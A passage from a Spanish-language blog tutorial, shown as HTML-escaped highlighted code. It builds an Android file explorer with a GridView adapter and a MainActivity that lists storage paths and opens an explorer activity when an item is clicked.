      &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;findViewById&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;R&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;imageViewIcon&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;Drawable&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;image&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;c&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;getResources&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;getDrawable&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;
      &lt;span style=&quot;color: black;&quot;&gt;R&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;drawable&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;fileblanc256&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;folder&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;setImageDrawable&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;image&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Le ponemos el icono de&lt;/span&gt;
            &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// archivo&lt;/span&gt;
   &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
  &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;layout&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
 &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
Ese seria un adaptador mínimo para usar un grid,ahora lo podríamos llamar definiendo lo necesario en MainActivity y quedaría así:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDYNFgi2tBVOWscL1O3wzcjIAo8hiXI-Ds8UauWvL-a2n4WckL1bDW795aDNSn7lRROZpIb3ZJcr6yUC5z9aka9y3lEiBWNLLBbWuyYdHfYu1uBqon5A44xzVYf71LWJBqY3lmlKm6hKK5/s1600/sd+android.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDYNFgi2tBVOWscL1O3wzcjIAo8hiXI-Ds8UauWvL-a2n4WckL1bDW795aDNSn7lRROZpIb3ZJcr6yUC5z9aka9y3lEiBWNLLBbWuyYdHfYu1uBqon5A44xzVYf71LWJBqY3lmlKm6hKK5/s1600/sd+android.png&quot; height=&quot;320&quot; width=&quot;179&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
Se ve mejor con iconos :D&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
Bien aun no lo podemos usar primero tenemos que manejar el evento de clic sobre los elementos de almacenamiento que están en el grid,en mi caso 2,asi queda el MainActivity:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #f8f8f8; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;package&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;com&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;itimetux&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;timeexplorer&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;java.io.File&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;java.io.IOException&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;java.util.ArrayList&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;android.content.Intent&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;android.os.Bundle&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;android.support.v7.app.ActionBarActivity&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;android.view.Menu&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;android.view.MenuItem&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;android.view.View&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;android.widget.AdapterView&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;android.widget.AdapterView.OnItemClickListener&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;android.widget.GridView&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;


&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;class&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;MainActivity&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;extends&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;ActionBarActivity&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;private&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;GridView&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;SDS&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Grid&lt;/span&gt;
 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;private&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;ArrayList&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;String&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;SD_CARDS&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Rutas de almacenamiento&lt;/span&gt;

    &lt;span style=&quot;color: #5c35cc; font-weight: bold;&quot;&gt;@Override&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;protected&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;onCreate&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;Bundle&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;savedInstanceState&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
        &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;super&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;onCreate&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;savedInstanceState&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt;
        &lt;span style=&quot;color: black;&quot;&gt;setContentView&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;R&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;layout&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;activity_main&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Asignamos el layout principal&lt;/span&gt;
        &lt;span style=&quot;color: black;&quot;&gt;SDS&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;GridView&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;findViewById&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;R&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;sdcards&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Definimos el grid&lt;/span&gt;
        &lt;span style=&quot;color: black;&quot;&gt;SD_CARDS&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;getAllsds&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;();&lt;/span&gt;  &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Definimos las rutas de almacenamiento&lt;/span&gt;
        &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;final&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;GridAdapter&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;gadapter&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;new&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;GridAdapter&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;R&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;layout&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;sdcards&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;SD_CARDS&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Creamos un adaptador&lt;/span&gt;
        &lt;span style=&quot;color: black;&quot;&gt;SDS&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;setAdapter&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;gadapter&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Le asignamos el adaptador al grid&lt;/span&gt;
        &lt;span style=&quot;color: black;&quot;&gt;SDS&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;setOnItemClickListener&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;new&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;OnItemClickListener&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;()&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt; 
         &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Manejamos los clic sobre los elementos del grid&lt;/span&gt;
   &lt;span style=&quot;color: #5c35cc; font-weight: bold;&quot;&gt;@Override&lt;/span&gt;
   &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;onItemClick&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;AdapterView&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;?&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;View&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;v&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt;
     &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;final&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;position&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;long&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
    &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Vamos a iniciar una nueva actividad pasando como extra la ruta de almacenamiento&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;Intent&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;new&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Intent&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;MainActivity&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Explorador&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;putExtra&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;SD&quot;&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;SD_CARDS&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;position&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;));&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;startActivity&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Inicamos la actividad&lt;/span&gt;
   &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
  &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;});&lt;/span&gt;
    &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;

    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;private&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;ArrayList&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;String&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;getAllsds&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;()&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: black;&quot;&gt;ArrayList&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;String&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;tmp&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;new&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;ArrayList&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;String&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;gt;();&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Array de todas las rutas&lt;/span&gt;

  &lt;span style=&quot;color: black;&quot;&gt;String&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;rutas&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;[]&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt; &lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;/mnt/&quot;&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;/storage/&quot;&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;};&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Rutas posibles&lt;/span&gt;

  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;rutas&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;++)&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
   &lt;span style=&quot;color: black;&quot;&gt;File&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;file&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;new&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;File&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;rutas&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;]);&lt;/span&gt;&lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Ruta actual ( listamos de uno a uno )&lt;/span&gt;
   &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(!&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;exists&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;())&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Si no existe pasamos a la siguiente&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;continue&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
